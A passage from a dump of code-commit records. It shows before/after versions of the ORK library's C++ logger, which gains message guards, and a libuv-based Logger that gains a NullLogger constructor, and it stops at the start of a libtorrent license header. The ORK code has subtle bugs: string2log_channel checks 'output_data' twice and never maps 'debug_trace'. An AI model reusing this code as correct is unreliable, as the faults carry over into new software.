info(ORK(\"info\"));\nconst ork::string warning(ORK(\"warning\"));\nconst ork::string error(ORK(\"error\"));\nconst ork::string fatal(ORK(\"fatal\"));\n\nconst ork::string&to_string(const severity_level val) {\n\tswitch(val) {\n\tcase severity_level::trace:\n\t\treturn trace;\n\tcase severity_level::debug:\n\t\treturn debug;\n\tcase severity_level::info:\n\t\treturn info;\n\tcase severity_level::warning:\n\t\treturn warning;\n\tcase severity_level::error:\n\t\treturn error;\n\tcase severity_level::fatal:\n\t\treturn fatal;\n\t};\n\tORK_UNREACHABLE\n}\nseverity_level string2severity_level(const ork::string&str) {\n\tif(str == trace) {\n\t\treturn severity_level::trace;\n\t}\n\tif(str == debug) {\n\t\treturn severity_level::debug;\n\t}\n\tif(str == info) {\n\t\treturn severity_level::info;\n\t}\n\tif(str == warning) {\n\t\treturn severity_level::warning;\n\t}\n\tif(str == error) {\n\t\treturn severity_level::error;\n\t}\n\tif(str == fatal) {\n\t\treturn severity_level::fatal;\n\t}\n\tORK_THROW(ORK(\"Invalid severity_level: \") << str);\n}\n\n\n\/\/This is little more than a synchronous wrapper around an o_stream\nclass log_stream {\npublic:\n\tusing stream_ptr = std::shared_ptr<o_stream>;\nprivate:\n\tstream_ptr _stream;\n\tstd::mutex _mutex;\npublic:\n\texplicit log_stream(stream_ptr stream_) : _stream{stream_}, _mutex{} {}\n\t~log_stream() {\n\t\tflush();\n\t}\n\tORK_NON_COPYABLE(log_stream)\npublic:\n\tvoid log(const string&message) {\n\t\tstd::lock_guard<std::mutex>lock(_mutex);\n\t\t*_stream << message << ORK('\\n');\n\t}\n\tvoid flush() {\n\t\t_stream->flush();\n\t}\n};\n\n\nclass log_sink {\npublic:\n\tusing stream_ptr = std::shared_ptr<log_stream>;\nprivate:\n\tstd::vector<stream_ptr>_streams = {};\n\tbool _auto_flush = false;\npublic:\n\tlog_sink() {}\n\tlog_sink(const bool auto_flush) : _auto_flush{auto_flush} {}\n\tORK_NON_COPYABLE(log_sink)\npublic:\n\tvoid insert(const stream_ptr&ptr) {\n\t\t_streams.push_back(ptr);\n\t}\n\tvoid log(const string&message) {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->log(message);\n\t\t\tif(_auto_flush) {\n\t\t\t\tstream->flush();\n\t\t\t}\n\t\t}\n\t}\n\tvoid set_auto_flush(const bool auto_flush) {\n\t\t_auto_flush = auto_flush;\n\t}\n\tvoid flush() {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->flush();\n\t\t}\n\t}\n};\n\n\nstd::shared_ptr<log_stream>open_file_log_stream(const file::path&file_name) {\n\tif(!file::ensure_directory(file_name)) {\n\t\tORK_THROW(ORK(\"Could not create directory : \") << file_name.ORK_GEN_STR())\n\t}\n\tof_stream* p_stream = new of_stream();\n\tp_stream->open(file_name);\/\/std::ios::app | std::ios::ate\n\tif(p_stream->fail()) {\n\t\tORK_THROW(ORK(\"Error opening log : \") << file_name)\n\t}\n\t\/\/p_stream->rdbuf()->pubsetbuf(0, 0);\/\/Less performance, more likely to catch error messages\n\treturn std::shared_ptr<log_stream>(new log_stream(log_stream::stream_ptr(p_stream)));\n}\n\n\n\/\/This is where our logging system falls short of a generic filter system; try to hide it somewhat in one place\nclass log_multiplexer {\nprivate:\n\tusing sink_ptr = std::unique_ptr<log_sink>;\nprivate:\n\tstd::vector<sink_ptr> _severity_sinks = {};\n\tlog_sink _data_sink = {};\npublic:\n\tlog_multiplexer(const file::path&root_directory){\n\t\tauto lout = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CLOG, singleton_deleter<o_stream>()}}};\n\t\tauto lerr = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CERR, singleton_deleter<o_stream>()}}};\n\t\tauto flog = open_file_log_stream(root_directory \/ ORK(\"trace.log\"));\n\t\tauto fdata = open_file_log_stream(root_directory \/ ORK(\"output.log\"));\n\n\t\tfor(const auto sv : severity_levels) {\n\t\t\tsink_ptr sink{};\n\t\t\tif(sv < severity_level::error) {\n\t\t\t\tsink.reset(new log_sink{false});\n\t\t\t\tsink->insert(lout);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsink.reset(new log_sink{true});\n\t\t\t\tsink->insert(lerr);\n\t\t\t}\n\t\t\tsink->insert(flog);\n\t\t\t_severity_sinks.emplace_back(std::move(sink));\n\t\t}\n\t\t_data_sink.insert(lout);\n\t\t_data_sink.insert(fdata);\n\t}\n\tORK_NON_COPYABLE(log_multiplexer)\npublic:\n\tvoid log(const log_channel channel, const severity_level severity, const o_string_stream&stream) {\n\t\tconst string message = stream.str();\n\t\tswitch(channel) {\n\t\tcase log_channel::debug_trace:\n\t\t\tlog_severity(severity, message);\n\t\t\tbreak;\n\t\tcase log_channel::output_data:\n\t\t\t_data_sink.log(stream.str());\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tORK_UNREACHABLE\n\t\t};\n\t}\n\tvoid flush_all() {\n\t\tfor(auto&sink : _severity_sinks) {\n\t\t\tsink->flush();\n\t\t}\n\t\t_data_sink.flush();\n\t}\nprivate:\n\tvoid log_severity(const severity_level severity, const string&message) {\n\t\tconst bool do_it = ORK_DEBUG || severity > severity_level::debug;\n\t\tif ORK_CONSTEXPR(do_it || true) {\n\t\t\t_severity_sinks[static_cast<size_t>(severity)]->log(message);\n\t\t}\n\t}\n};\n\n\nclass message_guard {\nprivate:\n\tork::string _message = {};\n\tint _stage = 0;\n\tmutable std::mutex _mutex = {};\npublic:\n\tORK_NON_COPYABLE(message_guard)\npublic:\n\t\/\/ This should be called to check if the message is ready to be cleared\n\tbool done() const {\n\t\tstd::scoped_lock<std::mutex> lock(_mutex);\n\t\treturn _stage > 0;\n\t}\n\t\/\/ This should be called once to complete the message\n\tvoid log(const o_string_stream&stream) {\n\t\tstd::scoped_lock<std::mutex> lock(_mutex);\n\t\tif(_stage != 0) {\n\t\t\tORK_THROW(ORK(\"Message pump called in wrong order\"));\n\t\t}\n\t\t_message = stream.str();\n\t\t_stage = 1;\n\t}\n\t\/\/ This should be called once after completion\n\tstd::string clear_message() {\n\t\tstd::scoped_lock<std::mutex> lock(_mutex);\n\t\tif(_stage != 1) {\n\t\t\tORK_THROW(ORK(\"Message pump called in wrong order\"));\n\t\t}\n\t\t_stage = 2;\n\t\treturn std::move(_message);\n\t}\n};\n\n\nstruct log_scope::impl {\npublic:\n\tstd::shared_ptr<log_multiplexer>multiplexer;\n\tlog_channel channel;\n\tseverity_level severity;\n\to_string_stream stream;\npublic:\n\timpl(std::shared_ptr<log_multiplexer>&mp, const log_channel lc, const severity_level sv)\n\t\t: multiplexer{mp}\n\t\t, channel{lc}\n\t\t, severity{sv}\n\t\t, stream{}\n\t{}\n\t~impl() {\n\t\tmultiplexer->log(channel, severity, stream);\n\t}\n\tORK_MOVE_ONLY(impl)\n};\n\nlog_scope::log_scope(std::unique_ptr<impl>&&ptr) : _pimpl{ std::move(ptr) } {}\nlog_scope::~log_scope() {}\n\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << val;\\\n\treturn *this;\\\n}\nLOG_STREAM_OPERATOR(bool)\nLOG_STREAM_OPERATOR(short)\nLOG_STREAM_OPERATOR(unsigned short)\nLOG_STREAM_OPERATOR(int)\nLOG_STREAM_OPERATOR(unsigned)\nLOG_STREAM_OPERATOR(long)\nLOG_STREAM_OPERATOR(unsigned long)\nLOG_STREAM_OPERATOR(long long)\nLOG_STREAM_OPERATOR(unsigned long long)\nLOG_STREAM_OPERATOR(float)\nLOG_STREAM_OPERATOR(double)\nLOG_STREAM_OPERATOR(long double)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_BYTE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(char)\nLOG_STREAM_OPERATOR(char*)\nLOG_STREAM_OPERATOR(bstring&)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_WIDE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(wchar_t)\nLOG_STREAM_OPERATOR(wchar_t*)\nLOG_STREAM_OPERATOR(wstring&)\n\nlog_scope& log_scope::operator<< (const void* val) {\n\t_pimpl->stream << val;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (const std::streambuf* sb) {\n\t_pimpl->stream << sb;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ostream& (*pf)(std::ostream&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios& (*pf)(std::ios&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios_base& (*pf)(std::ios_base&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\n\n\nconst string&to_formatted_string(const severity_level sv) {\n\tstatic const std::array<const string, severity_levels.size()>strings = {{\n\t\t ORK(\"TRACE\")\n\t\t, ORK(\"DEBUG\")\n\t\t, ORK(\"INFO \")\n\t\t, ORK(\"WARN \")\n\t\t, ORK(\"ERROR\")\n\t\t, ORK(\"FATAL\")\n\t}};\n\treturn strings[static_cast<size_t>(sv)];\n}\n\n\nstruct logger::impl {\npublic:\n\tfile::path root_directory;\n\tstd::shared_ptr<log_multiplexer>multiplexer;\npublic:\n\timpl(const file::path&directory)\n\t\t: root_directory(directory)\n\t\t, multiplexer{new log_multiplexer(directory)}\n\t{}\n\tvoid flush_all() {\n\t\tmultiplexer->flush_all();\n\t}\n};\n\n\nlogger::logger(const file::path&log_directory) : _pimpl(new impl(log_directory)) {}\nlogger::~logger() {}\n\nconst file::path& logger::root_directory() {\n\treturn _pimpl->root_directory;\n}\n\nlog_scope logger::get_log_scope(\n\t const string&file_\n\t, const string&line_\n\t, const string&function_\n\t, const log_channel channel\n\t, const severity_level severity)\n{\n\tconst file::path fullpath(file_);\n\tstring file(fullpath.filename().ORK_GEN_STR());\n\tfile.resize(24, ORK(' '));\n\n\tstring line(line_);\n\tline.resize(4, ORK(' '));\n\n\tstring function(function_);\n\tfunction.resize(48, ORK(' '));\n\n\tstd::unique_ptr<log_scope::impl> ls_impl(new log_scope::impl(_pimpl->multiplexer, channel, severity));\n\tlog_scope scope(std::move(ls_impl));\n\t\/\/Output formatted context first\n\tscope << ORK(\"[\") << to_formatted_string(severity) << ORK(\"]:\") << file << ORK(\"(\") << line << ORK(\"):\") << function << ORK(\"-- \");\n\n\t\/\/Finally, return the stream to the client\n\treturn std::move(scope);\n}\n\nvoid logger::flush_all() {\n\t_pimpl->flush_all();\n}\n\n\n\nlogger*_g_log = nullptr;\nint make_global_log(const string&directory) {\n\tstatic logger log(directory);\n\t_g_log = &log;\n\treturn 0;\n}\nlogger& get_global_log() {\n\treturn *_g_log;\n}\n\n\n}\/\/namespace ork\n<commit_msg>Now using message guards to order messages<commit_after>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#include\"ork\/ork.hpp\"\n#define ORK_STL_INC_FILE <fstream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <iostream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <mutex>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <sstream>\n#include\"ork\/core\/stl_include.inl\"\n\n#include\"ork\/memory.hpp\"\n\n\nnamespace ork {\n\n\nconst ork::string debug_trace(ORK(\"debug_trace\"));\nconst ork::string output_data(ORK(\"output_data\"));\n\nconst ork::string&to_string(const log_channel val) {\n\tswitch(val) {\n\tcase log_channel::debug_trace:\n\t\treturn debug_trace;\n\tcase log_channel::output_data:\n\t\treturn output_data;\n\t};\n\tORK_UNREACHABLE\n}\nlog_channel string2log_channel(const ork::string&str) {\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tORK_THROW(ORK(\"Invalid log_channel: \") << str);\n}\n\n\nconst ork::string trace(ORK(\"trace\"));\nconst ork::string debug(ORK(\"debug\"));\nconst ork::string info(ORK(\"info\"));\nconst ork::string warning(ORK(\"warning\"));\nconst ork::string error(ORK(\"error\"));\nconst ork::string fatal(ORK(\"fatal\"));\n\nconst ork::string&to_string(const severity_level val) {\n\tswitch(val) {\n\tcase severity_level::trace:\n\t\treturn trace;\n\tcase severity_level::debug:\n\t\treturn debug;\n\tcase severity_level::info:\n\t\treturn info;\n\tcase severity_level::warning:\n\t\treturn warning;\n\tcase severity_level::error:\n\t\treturn error;\n\tcase severity_level::fatal:\n\t\treturn fatal;\n\t};\n\tORK_UNREACHABLE\n}\nseverity_level string2severity_level(const ork::string&str) {\n\tif(str == trace) {\n\t\treturn severity_level::trace;\n\t}\n\tif(str == debug) {\n\t\treturn severity_level::debug;\n\t}\n\tif(str == info) {\n\t\treturn severity_level::info;\n\t}\n\tif(str == warning) {\n\t\treturn severity_level::warning;\n\t}\n\tif(str == error) {\n\t\treturn severity_level::error;\n\t}\n\tif(str == fatal) {\n\t\treturn severity_level::fatal;\n\t}\n\tORK_THROW(ORK(\"Invalid severity_level: \") << str);\n}\n\n\n\/\/This is little more than a synchronous wrapper around an o_stream\nclass log_stream {\npublic:\n\tusing stream_ptr = std::shared_ptr<o_stream>;\nprivate:\n\tstream_ptr _stream;\n\tstd::mutex _mutex;\npublic:\n\texplicit log_stream(stream_ptr stream_) : _stream{stream_}, _mutex{} {}\n\t~log_stream() {\n\t\tflush();\n\t}\n\tORK_NON_COPYABLE(log_stream)\npublic:\n\tvoid log(const string&message) {\n\t\tstd::lock_guard<std::mutex>lock(_mutex);\n\t\t*_stream << message << ORK('\\n');\n\t}\n\tvoid flush() {\n\t\t_stream->flush();\n\t}\n};\n\n\nclass log_sink {\npublic:\n\tusing stream_ptr = std::shared_ptr<log_stream>;\nprivate:\n\tstd::vector<stream_ptr>_streams = {};\n\tbool _auto_flush = false;\npublic:\n\tlog_sink() {}\n\tlog_sink(const bool auto_flush) : _auto_flush{auto_flush} {}\n\tORK_NON_COPYABLE(log_sink)\npublic:\n\tvoid insert(const stream_ptr&ptr) {\n\t\t_streams.push_back(ptr);\n\t}\n\tvoid log(const string&message) {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->log(message);\n\t\t\tif(_auto_flush) {\n\t\t\t\tstream->flush();\n\t\t\t}\n\t\t}\n\t}\n\tvoid set_auto_flush(const bool auto_flush) {\n\t\t_auto_flush = auto_flush;\n\t}\n\tvoid flush() {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->flush();\n\t\t}\n\t}\n};\n\n\nstd::shared_ptr<log_stream>open_file_log_stream(const file::path&file_name) {\n\tif(!file::ensure_directory(file_name)) {\n\t\tORK_THROW(ORK(\"Could not create directory : \") << file_name.ORK_GEN_STR())\n\t}\n\tof_stream* p_stream = new of_stream();\n\tp_stream->open(file_name);\/\/std::ios::app | std::ios::ate\n\tif(p_stream->fail()) {\n\t\tORK_THROW(ORK(\"Error opening log : \") << file_name)\n\t}\n\t\/\/p_stream->rdbuf()->pubsetbuf(0, 0);\/\/Less performance, more likely to catch error messages\n\treturn std::shared_ptr<log_stream>(new log_stream(log_stream::stream_ptr(p_stream)));\n}\n\n\nclass message_guard {\nprivate:\n\tork::string _message = {};\n\tint _stage = 0;\n\tmutable std::mutex _mutex = {};\n\tlog_channel _channel;\n\tseverity_level _severity;\npublic:\n\tmessage_guard(\n\t\tconst log_channel lc,\n\t\tconst severity_level sv)\n\t\t: _channel{lc}\n\t\t, _severity{sv} {}\n\tORK_NON_COPYABLE(message_guard)\npublic:\n\tlog_channel channel() const {\n\t\treturn _channel;\n\t}\n\tseverity_level severity() const {\n\t\treturn _severity;\n\t}\n\n\t\/\/ This should be called to check if the message is ready to be cleared\n\tbool done() const {\n\t\tstd::scoped_lock<std::mutex> lock(_mutex);\n\t\treturn _stage > 0;\n\t}\n\t\/\/ This should be called once to complete the message\n\tvoid log(const o_string_stream&stream) {\n\t\tstd::scoped_lock<std::mutex> lock(_mutex);\n\t\tif(_stage != 0) {\n\t\t\tORK_THROW(ORK(\"Message pump called in wrong order\"));\n\t\t}\n\t\t_message = stream.str();\n\t\t_stage = 1;\n\t}\n\t\/\/ This should be called once after completion\n\tstd::string clear_message() {\n\t\tstd::scoped_lock<std::mutex> lock(_mutex);\n\t\tif(_stage != 1) {\n\t\t\tORK_THROW(ORK(\"Message pump called in wrong order\"));\n\t\t}\n\t\t_stage = 2;\n\t\treturn std::move(_message);\n\t}\n};\nusing guard_ptr = std::shared_ptr<message_guard>;\n\n\n\/\/This is where our logging system falls short of a generic filter system; try to hide it somewhat in one place\nclass log_multiplexer {\nprivate:\n\tusing sink_ptr = std::unique_ptr<log_sink>;\nprivate:\n\tstd::vector<sink_ptr> _severity_sinks = {};\n\tlog_sink _data_sink = {};\n\tstd::vector<guard_ptr>_messages = {};\n\tsize_t _message_index = 0;\n\tstd::mutex _mutex = {};\npublic:\n\tlog_multiplexer(const file::path&root_directory) {\n\t\tauto lout = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CLOG, singleton_deleter<o_stream>()}}};\n\t\tauto lerr = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CERR, singleton_deleter<o_stream>()}}};\n\t\tauto flog = open_file_log_stream(root_directory \/ ORK(\"trace.log\"));\n\t\tauto fdata = open_file_log_stream(root_directory \/ ORK(\"output.log\"));\n\n\t\tfor(const auto sv : severity_levels) {\n\t\t\tsink_ptr sink{};\n\t\t\tif(sv < severity_level::error) {\n\t\t\t\tsink.reset(new log_sink{false});\n\t\t\t\tsink->insert(lout);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsink.reset(new log_sink{true});\n\t\t\t\tsink->insert(lerr);\n\t\t\t}\n\t\t\tsink->insert(flog);\n\t\t\t_severity_sinks.emplace_back(std::move(sink));\n\t\t}\n\t\t_data_sink.insert(lout);\n\t\t_data_sink.insert(fdata);\n\t}\n\tORK_NON_COPYABLE(log_multiplexer)\npublic:\n\tguard_ptr get_message_guard(\n\t\tconst log_channel lc,\n\t\tconst severity_level sv\n\t) {\n\t\tstd::scoped_lock<std::mutex> lock{_mutex};\n\t\t_messages.emplace_back(new message_guard{lc, sv});\n\t\treturn _messages.back();\n\t}\n\tvoid on_scope_exit() {\n\t\tstd::scoped_lock<std::mutex> lock{_mutex};\n\t\twhile(_message_index < _messages.size() - 1 && _messages[_message_index]->done()) {\n\t\t\tlog(*_messages[_message_index]);\n\t\t\t++_message_index;\n\t\t}\n\t}\n\tvoid flush_all() {\n\t\tstd::scoped_lock<std::mutex> lock{_mutex};\n\t\tfor(auto&sink : _severity_sinks) {\n\t\t\tsink->flush();\n\t\t}\n\t\t_data_sink.flush();\n\t}\nprivate:\n\tvoid log(message_guard& message) {\n\t\tconst string msg{message.clear_message()};\n\t\tswitch(message.channel()) {\n\t\t\tcase log_channel::debug_trace:\n\t\t\t\tlog_severity(message.severity(), msg);\n\t\t\t\tbreak;\n\t\t\tcase log_channel::output_data:\n\t\t\t\t_data_sink.log(msg);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tORK_UNREACHABLE\n\t\t};\n\t}\n\tvoid log_severity(\n\t\tconst severity_level severity,\n\t\tconst string&message\n\t) {\n\t\tconst bool do_it = ORK_DEBUG || severity > severity_level::debug;\n\t\tif ORK_CONSTEXPR(do_it || true) {\n\t\t\t_severity_sinks[static_cast<size_t>(severity)]->log(message);\n\t\t}\n\t}\n};\n\n\nstruct log_scope::impl {\npublic:\n\tstd::shared_ptr<message_guard>guard;\n\tstd::shared_ptr<log_multiplexer>multiplexer;\n\to_string_stream stream;\npublic:\n\timpl(\n\t\tconst std::shared_ptr<message_guard>&mg,\n\t\tconst std::shared_ptr<log_multiplexer>&mp\n\t)\n\t\t: guard{mg}\n\t\t, multiplexer{mp}\n\t\t, stream{}\n\t{}\n\t~impl() {\n\t\tguard->log(stream);\n\t\tmultiplexer->on_scope_exit();\n\t}\n\tORK_MOVE_ONLY(impl)\n};\n\nlog_scope::log_scope(std::unique_ptr<impl>&&ptr) : _pimpl{ std::move(ptr) } {}\nlog_scope::~log_scope() {}\n\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << val;\\\n\treturn *this;\\\n}\nLOG_STREAM_OPERATOR(bool)\nLOG_STREAM_OPERATOR(short)\nLOG_STREAM_OPERATOR(unsigned short)\nLOG_STREAM_OPERATOR(int)\nLOG_STREAM_OPERATOR(unsigned)\nLOG_STREAM_OPERATOR(long)\nLOG_STREAM_OPERATOR(unsigned long)\nLOG_STREAM_OPERATOR(long long)\nLOG_STREAM_OPERATOR(unsigned long long)\nLOG_STREAM_OPERATOR(float)\nLOG_STREAM_OPERATOR(double)\nLOG_STREAM_OPERATOR(long double)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_BYTE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(char)\nLOG_STREAM_OPERATOR(char*)\nLOG_STREAM_OPERATOR(bstring&)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_WIDE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(wchar_t)\nLOG_STREAM_OPERATOR(wchar_t*)\nLOG_STREAM_OPERATOR(wstring&)\n\nlog_scope& log_scope::operator<< (const void* val) {\n\t_pimpl->stream << val;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (const std::streambuf* sb) {\n\t_pimpl->stream << sb;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ostream& (*pf)(std::ostream&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios& (*pf)(std::ios&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios_base& (*pf)(std::ios_base&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\n\n\nconst string&to_formatted_string(const severity_level sv) {\n\tstatic const std::array<const string, severity_levels.size()>strings = {{\n\t\t ORK(\"TRACE\")\n\t\t, ORK(\"DEBUG\")\n\t\t, ORK(\"INFO \")\n\t\t, ORK(\"WARN \")\n\t\t, ORK(\"ERROR\")\n\t\t, ORK(\"FATAL\")\n\t}};\n\treturn strings[static_cast<size_t>(sv)];\n}\n\n\nstruct logger::impl {\npublic:\n\tfile::path root_directory;\n\tstd::shared_ptr<log_multiplexer>multiplexer;\npublic:\n\timpl(const file::path&directory)\n\t\t: root_directory(directory)\n\t\t, multiplexer{new log_multiplexer(directory)}\n\t{}\n\tvoid flush_all() {\n\t\tmultiplexer->flush_all();\n\t}\n};\n\n\nlogger::logger(const file::path&log_directory) : _pimpl(new impl(log_directory)) {}\nlogger::~logger() {}\n\nconst file::path& logger::root_directory() {\n\treturn _pimpl->root_directory;\n}\n\nlog_scope logger::get_log_scope(\n\t const string&file_\n\t, const string&line_\n\t, const string&function_\n\t, const log_channel channel\n\t, const severity_level severity)\n{\n\tconst file::path fullpath(file_);\n\tstring file(fullpath.filename().ORK_GEN_STR());\n\tfile.resize(24, ORK(' '));\n\n\tstring line(line_);\n\tline.resize(4, ORK(' '));\n\n\tstring function(function_);\n\tfunction.resize(48, ORK(' '));\n\n\tguard_ptr guard{_pimpl->multiplexer->get_message_guard(channel, severity)};\n\tstd::unique_ptr<log_scope::impl> ls_impl(new log_scope::impl(guard, _pimpl->multiplexer));\n\tlog_scope scope(std::move(ls_impl));\n\t\/\/Output formatted context first\n\tscope << ORK(\"[\") << to_formatted_string(severity) << ORK(\"]:\") << file << ORK(\"(\") << line << ORK(\"):\") << function << ORK(\"-- \");\n\n\t\/\/Finally, return the stream to the client\n\treturn std::move(scope);\n}\n\nvoid logger::flush_all() {\n\t_pimpl->flush_all();\n}\n\n\n\nlogger*_g_log = nullptr;\nint make_global_log(const string&directory) {\n\tstatic logger log(directory);\n\t_g_log = &log;\n\treturn 0;\n}\nlogger& get_global_log() {\n\treturn *_g_log;\n}\n\n\n}\/\/namespace ork\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <cstdarg>\n#include <uv.h>\n\n#include \"log.h\"\n\nusing std::endl;\nusing std::ostream;\nusing std::ofstream;\n\nclass NullLogger : public Logger {\npublic:\n virtual Logger* prefix(const char *file, int line) override\n {\n return this;\n }\n\n virtual ostream& stream() override\n {\n return unopened;\n }\n\nprivate:\n ofstream unopened;\n};\n\nclass FileLogger : public Logger {\npublic:\n FileLogger(const char *filename) :\n logStream{filename, std::ios::out | std::ios::app}\n {\n prefix(__FILE__, __LINE__);\n logStream << \"FileLogger opened.\" << endl;\n }\n\n virtual Logger* prefix(const char *file, int line) override\n {\n logStream << \"[\" << file << \":\" << line << \"] \";\n return this;\n }\n\n virtual ostream& stream() override\n {\n return logStream;\n }\n\nprivate:\n ofstream logStream;\n};\n\nstatic uv_key_t current_logger_key;\nstatic const NullLogger theNullLogger;\nstatic uv_once_t make_key_once = UV_ONCE_INIT;\n\nstatic void make_key()\n{\n uv_key_create(¤t_logger_key);\n}\n\nLogger* Logger::current()\n{\n uv_once(&make_key_once, &make_key);\n\n Logger* logger = (Logger*) uv_key_get(¤t_logger_key);\n\n if (logger == nullptr) {\n uv_key_set(¤t_logger_key, (void*) &theNullLogger);\n }\n\n return logger;\n}\n\nstatic void replaceLogger(const Logger *newLogger)\n{\n Logger *prior = Logger::current();\n if (prior != &theNullLogger) {\n delete prior;\n }\n\n uv_key_set(¤t_logger_key, (void*) newLogger);\n}\n\nvoid Logger::toFile(const char *filename)\n{\n replaceLogger(new FileLogger(filename));\n}\n\nvoid Logger::disable()\n{\n replaceLogger(&theNullLogger);\n}\n<commit_msg>User-provided default constructor for NullLogger<commit_after>#include <iostream>\n#include <fstream>\n#include <cstdarg>\n#include <uv.h>\n\n#include \"log.h\"\n\nusing std::endl;\nusing std::ostream;\nusing std::ofstream;\n\nclass NullLogger : public Logger {\npublic:\n NullLogger()\n {\n \/\/\n }\n\n virtual Logger* prefix(const char *file, int line) override\n {\n return this;\n }\n\n virtual ostream& stream() override\n {\n return unopened;\n }\n\nprivate:\n ofstream unopened;\n};\n\nclass FileLogger : public Logger {\npublic:\n FileLogger(const char *filename) :\n logStream{filename, std::ios::out | std::ios::app}\n {\n prefix(__FILE__, __LINE__);\n logStream << \"FileLogger opened.\" << endl;\n }\n\n virtual Logger* prefix(const char *file, int line) override\n {\n logStream << \"[\" << file << \":\" << line << \"] \";\n return this;\n }\n\n virtual ostream& stream() override\n {\n return logStream;\n }\n\nprivate:\n ofstream logStream;\n};\n\nstatic uv_key_t current_logger_key;\nstatic const NullLogger theNullLogger;\nstatic uv_once_t make_key_once = UV_ONCE_INIT;\n\nstatic void make_key()\n{\n uv_key_create(¤t_logger_key);\n}\n\nLogger* Logger::current()\n{\n uv_once(&make_key_once, &make_key);\n\n Logger* logger = (Logger*) uv_key_get(¤t_logger_key);\n\n if (logger == nullptr) {\n uv_key_set(¤t_logger_key, (void*) &theNullLogger);\n }\n\n return logger;\n}\n\nstatic void replaceLogger(const Logger *newLogger)\n{\n Logger *prior = Logger::current();\n if (prior != &theNullLogger) {\n delete prior;\n }\n\n uv_key_set(¤t_logger_key, (void*) newLogger);\n}\n\nvoid Logger::toFile(const char *filename)\n{\n replaceLogger(new FileLogger(filename));\n}\n\nvoid Logger::disable()\n{\n replaceLogger(&theNullLogger);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/pch.hpp\"\n\n#include 